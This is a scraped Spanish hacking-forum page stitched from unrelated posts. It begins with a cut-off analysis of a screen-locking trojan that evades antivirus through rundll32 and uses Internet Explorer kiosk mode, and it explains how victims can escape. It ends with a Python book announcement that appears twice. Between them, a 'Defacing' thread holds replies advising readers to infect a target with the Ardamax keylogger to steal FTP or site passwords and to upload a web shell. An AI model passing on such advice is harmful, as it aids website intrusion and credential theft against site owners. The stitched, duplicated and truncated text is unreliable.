Puede tratarse de un intento de despiste para los antivirus. Al ser lanzado como parámetro de un programa legítimo (rundll32.exe, que seguro se encuentra en las listas blancas de todos los motores), cabe la posibilidad de que algún antivirus se "relaje". Una vez en memoria, el troyano estará a salvo del antivirus.
Otra razón que se nos ocurre es por intentar evitar las sandboxes que ejecutan automáticamente malware. Casas antivirus, investigadores, sandoboxes públicas, etc, suelen contar con máquinas que lanzan automáticamente los ejecutables con la idea de estudiarlos y tener una primera aproximación del comportamiento de la muestra. Si es sospechoso pasa a un análisis manual. En principio, una DLL con extensión de ejecutable daría error de ejecución, y por tanto se tomaría de forma automática como ejecutable corrupto, a no ser que el sistema esté específicamente diseñado para comprobar que se trata de una DLL y lanzarla como tal, cosa que no ocurre normalmente......
Internet Explorer en modo kiosko, cómo eludirlo
Una vez lanzado el malware, encontramos otra novedad. Ahora, en vez de mostrar una aplicación sin bordes que ocupe toda la pantalla, o un BMP que impide acceder al escritorio, se cierran todas las aplicaciones abiertas y se lanza un Internet Explorer en modo kiosko. Esta es una opción legítima del navegador, diferente a pantalla completa, que permite navegar sin acceso al sistema y con muchas otras restricciones. Cualquiera puede probarlo lanzando en el sistema el comando:
C:\Program Files\Internet Explorer>iexplore.exe k
Desde este punto, escapar del troyano se reduce a intentar escapar del modo kiosko. El troyano, aunque intenta restringir de varias formas el acceso a la máquina, no lo consigue. De hecho, es perfectamente posible escapar con sencillos pasos. Algo que que se puede hacer es desconectar la máquina de Internet, para que la visita a la web que aloja la imagen que bloquea el sistema no pueda ser accedida. De esta manera Internet Explorer dará un error de conexión. En XP, por ejemplo, se puede aprovechar el diagnóstico de conexión, en el apartado de más información.

Aunque, a causa de las restricciones impuestas por el troyano, no se podrá acceder al disco libremente.

Aun así, poco después de aparecer este error, Internet Explorer dejará de funcionar, se podrá recuperar el escritorio.
En Windows 7 todavía es más sencillo. Se puede usar por ejemplo el menú contextual del envío de correo por Mai

Y, en ese nuevo navegador, ir hacia c:\windows\system32 y ejecutar un explorador.

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#316
Recursos / Re:Coleccion de styles para photoshop!
Mayo 22, 2012, 03:29:41 PM
Aportazo, lo necesitaba. Gracias compañero.
#317
Dudas y pedidos generales / Re:Defacing
Mayo 19, 2012, 08:24:55 AM #318
Dudas y pedidos generales / Re:Defacing
Mayo 19, 2012, 07:52:27 AM
Tutos hay dependiendo del método que uses. Con Ardamax puedes infectar al objetivo y robarle la contraseña del ftp o del acceso a la web y explorar los archivos.
#319
Dudas y pedidos generales / Re:Defacing
Mayo 19, 2012, 07:44:42 AM
Prueba a subir shell y explorar todos los archivos.
#320
Python / Inmersion en Python 3 [Libro]
Mayo 19, 2012, 04:52:37 AM
Traducción al español de uno de los libros de referencia para quienes quieran empezar con Python.
Dive Into Python 3, es una revisión del considerado como uno de los libros sagrados sobre Python un lenguaje de programación de propósito general, orientado a objetos y usado, entre otros propósitos, para el desarrollo web.
Escrito por el autor de la obra original y uno de los gurús del desarrollo web, Mark Pilgrim, este nuevo libro que incluye un 80% de material actualizado respecto a la versión original fue presentado con una licencia Creative Commons Atribución-CompartirIgual.
Como consecuencia de lo anterior José Miguel González Aguilera está llevando a cabo una traducción del mismo al español del que por el momento encontramos una traducción de los capítulos 1 a 14.
Si estas interesado en esta versión en español de la última edición del libro de Mark Pilgrim "Dive Into Python 3" puedes acceder a la descarga de Inmersión en Python 3 desde You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
Python, nombrado como lenguaje de programación del año durante 2010, está actualmente en la versión 3.2.2.
Si además quieres disponer de otra obra de referencia de Mark Pilgrim tienes a tu disposición la que muchos consideran la biblia de la última versión del lenguaje básico de la web "Dive into HTML5".
Fuente de la info: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Un saludo.
Dive Into Python 3, es una revisión del considerado como uno de los libros sagrados sobre Python un lenguaje de programación de propósito general, orientado a objetos y usado, entre otros propósitos, para el desarrollo web.
Escrito por el autor de la obra original y uno de los gurús del desarrollo web, Mark Pilgrim, este nuevo libro que incluye un 80% de material actualizado respecto a la versión original fue presentado con una licencia Creative Commons Atribución-CompartirIgual.
Como consecuencia de lo anterior José Miguel González Aguilera está llevando a cabo una traducción del mismo al español del que por el momento encontramos una traducción de los capítulos 1 a 14.
Si estas interesado en esta versión en español de la última edición del libro de Mark Pilgrim "Dive Into Python 3" puedes acceder a la descarga de Inmersión en Python 3 desde You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
Python, nombrado como lenguaje de programación del año durante 2010, está actualmente en la versión 3.2.2.
Si además quieres disponer de otra obra de referencia de Mark Pilgrim tienes a tu disposición la que muchos consideran la biblia de la última versión del lenguaje básico de la web "Dive into HTML5".
Fuente de la info: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Un saludo.


